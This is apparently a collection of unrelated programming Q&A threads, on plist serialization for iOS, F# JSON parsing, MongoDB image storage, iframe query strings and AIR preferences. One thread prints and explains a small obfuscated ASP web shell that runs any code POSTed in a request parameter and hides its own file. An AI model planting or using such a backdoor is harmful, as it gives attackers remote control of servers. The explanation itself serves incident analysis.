I am working on an iPad app that is fed data via web service returning JSON. Watching some iTunes U episodes, it looks like sending back Plist would save me a ton of time and speed up my app quite a bit on the parsing side of things.
Does anyone know of a .net library that converts objects into this Plist to return instead?
EDIT (this is my very limited understanding of this topic):
An Plist is a Property List that iOS can use to easily encode and/or parse data. It is very similar to JSON except parsing takes a fraction of the time and can be done in 1 line of code. If your server uses WebObjects then encoding can also be done in 1 line of code, I am using IIS so I need a solution for this if one exists before I write my own.
You can see the videos here:
http://developer.apple.com/videos/wwdc/2010/
In particular watch Session 117 - Building a Server-Driven User Experience
You may checkout this project. Sample usage:
object value = ...
string plist = Plist.PlistDocument.CreateDocument(value);
The only requirement is to decorate your object with [Serializable] attribute.
If you're using WebObjects, the appserver from apple, there's a java mirror class of NSPropertyListSerialization that does all of this for you; you can pass it NSArray's, NSDictionaries, etc and it will just work. Not sure if that's what you're talking about; confused as to the WebObjects in your question. HTH's.

I want to do something very similar to what's shown in the docs for FSharp.Data:
The URL I'm requesting from though (TFS) requires client authentication. Is there any way I can provide this by propagating my Windows creds? I notice JsonProvider has a few other compile-time parameters, but none seem to be in support of this.
You don't have to provide a live URL as a type parameter to JsonProvider; you can also provide the filename of a sample file that reflects the structure you expect to see. With that feature, you can do the following steps:
First, log in to the service and save a JSON file that reflects the API you're going to use.
Next, do something like the following:
type TfsData = JsonProvider<"/path/to/sample/file.json">
let url = "https://example.com/login/etc"
// Use standard .Net API to log in with your Windows credentials
// Save the results in a variable `jsonResults`
let parsedResults = TfsData.Parse(jsonResults)
printfn "%A" parsedResults.Foo // At this point, Intellisense should work
This is all very generic, of course, since I don't know precisely what you need to do to log in to your service; presumably you already know how to do that. The key is to retrieve the JSON yourself, then use the .Parse() method of your provided type to parse it.
I have found interesting malware on my server, which did some bad thing.
Now I am trying to reverse-engineering it, but due to complete lack of knowledge of VB\ASP I need to ask your help, colleagues.
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/srerif/*/(tseuqer lave")
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED"))
if f.attributes <> 39 then
f.attributes = 39
end if
%>
As I understood - it executes some command and creates file somewhere with system\hidden attributes.
The main question is - how to use it, i.e. from logs I see, that hacker uploaded this file and used POST to command this. I want to command this too to understand, how he was able to upload files to some folders, which he should be able to do so.
Any advices are welcome. Sample with curl POST would be amazing.
No don't need knowledge in VB to research what that code does; just read the documentation.
MorfiCoder(")/*/srerif/*/(tseuqer lave") returns eval request("firers") (I assume functions like Replace or StrReverse are obvious).
Execute and eval are self-explanatory; the docs for request are here:
The Request object retrieves the values that the client browser passed to the server during an HTTP request.
So, whatever string is in the firers request variable, it will be executed (you said you already know that your attacker used a simply POST to send data to his script).
Set fso=CreateObject("Scripting.FileSystemObject") creates a FileSystemObject Object.
Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) creates a File Object; using the path in PATH_TRANSLATED.
Then some attributes (Archive, System, Hidden, ReadOnly) are set on that file object (to hide this script).
Why your attacker was able to upload this file to your server obviously can't be answered by the information you provided, and would also be out of scope of this question and probably off topic to stackoverflow.
Is there a implementation of GridFS in Morphia? How is this?
I am using a webservice and receive base64 input, which is transform in a bit array, such like this:
private bit [] image;
I created my model class to communicate with morphia, however, each document of that collection will have a lot of images, is something like an event has a lot of editions and an edition has its images.
How can I mapped that attribute in morphia?
GridFS is not yet supported by Morphia, if you want to store information into GridFS from your application you need to use the native Java GridFS API ( see https://github.com/mongodb/mongo-java-driver/blob/master/src/test/com/mongodb/gridfs/GridFSTest.java )
To answer your question
How can I mapped that attribute in morphia?
The code you have written will work, and your images will be saved as bytes into the document, in the attribute "image" like any other attribute. As you probably know MongoDB & Morphia are using BSON in memor, on the network and in the database, this means it will save the bytes as they are sent.
So of you still want to store the image in the document, not an issue at all if they are small, you just have to be careful about the overall size of the document. As you probably know a document cannot exceed 16Mb.
The problem here is the middle of the line (HTML).
The chain:
I have WinForm program that uses awesomium (alternative to native webBrowser) to view Html page that has a part of asp.net page in it's iframe.
The problem:
The problem is that I need to pass value to asp.net page, it is easily achieved without middle of the chain (Html iframe) by sending hashed and crypted querystring.
How it works:
WinForm do some thing, then use few-step-crypt to code all the needed values into 1 string.
Then it should send this string to asp.net page through the iframe (and that's the problem, it is easy to receive query string in asp.net page, but firstly I need to receive it in Html and send to asp.net).
Acceptable answers:
1) Probably the most easily one - using JavaScript. I have heard it is possible to be done in that way.
How I imagine this - I send query string from WinForm to Html page as http:\\HtmlPage.html?AspNet.aspx?CryptedString
Then Html receive it with JavaScript and put querystring "AspNet.aspx?CryptedString" into iframe's "src=http:\\" resulting in "src=http:\\AspNet.aspx?CryptedString"
And then I easily get it in asp.net page.
2) Somehow create >>>VIRTUAL<<<(NOTE: Virtual, I don't want querystring to be saved on the HDD, even don't suggest) asp.net or html page with iframe source taken directly from WinForm string.
Probably that is possible with awesomium, but I'm new to it and don't know how to (if it is possible ofc).
3) Some web service with which I can communicate between asp.net and WinForm through the existing HTML iframe.
4) Another way that replace one of 3 previous, that doesn't save "values" in querystring/else on HDD nor is visible for the user, doesn't use asp.net page's server to create iframe-page on it. On HTML page's server HTML is only allowed, PhP isn't.
5) If you don't know any of 4 above - suggest free PhP hosting without ads (if such exists, what I highly doubt).
Priority:
The best one would be #3, then #2, then #1, then #5 (#4 is excluded as it is unknown).
And in the end:
Thanks in advance for your help.
P.S.Currently at work, so I'll check/try all answers later on and will report tomorrow if any suits my needs. Thanks again.
Answering my own question. I have found 2 ways that can do what I did want.
The first one:
Creating a RAM file System.IO.MemoryStream or another method (google c# create a file in ram).
The second one:
Creating a hidden+encrypted+system+custom-readable-only-by-program-crypt file somewhere in the far away folder via File.SetAttributes Method and System.IO.StreamWriter/Reader or System.IO.FileStream or System.IO.TextWriter, etc. depending on what it should be.
Once this file was used for needs delete it + delete on exit + delete on start using
if (File.Exists(path)
{
File.Delete(path);
}
(Need more reputation to post few links -_-, and I don't want to post only part of them, either all or no at all, so use google if you'll need anything from here).
If you'll need to store "Small temp file" and not for a long time use first one, if "Heavy" use second one, unless you badly need to use RAM for it.
I need to create and read a user preferences XML file with Adobe Air. It will contain around 30 nodes.
<id>18981</id>
<firstrun>false</firstrun>
<background>green</background>
<username>stacker</username>
...
What's a good method to do this?
Write up an "XML parser" that reads the values and is aware of the data types to convert to based on the "save preferences model." So basically you write a method/class for writing the data from the "save preferences model" to XML then write a method/class for reading from the XML into the "save preferences model", you can use describeType for both. Describe type will return an XML description of the model classes properties and the types of those properties and accessibility (read/write, readonly, write only). For all properties that are read/write you would store them into the XML output, when reading them back in you would do the same thing except you could use the type property from the describeType output to determine if you need to do a string to boolean conversion (if(boolValue == "true")) and string to number conversions, parseInt or parseFloat. You could ultimately store the XML in a local SQL database if you want to keep history, or else just store the current preferences in flat file (using FileReference, or in AIR you can use FileStream to write directly to a location).
Edit:
Agree with Joshua's comment below local shared objects was the first thing I thought of when seeing this, you can eliminate the need to write the XML parser/reader since it will handle serializing/de-serializing the objects for you (but manually looking at the LSO is probably ugly)... anyhow I had done something similar for another project of mine, I tried stripping out the relevant code, to note in my example here I didn't use describe type but the general concept is the same:
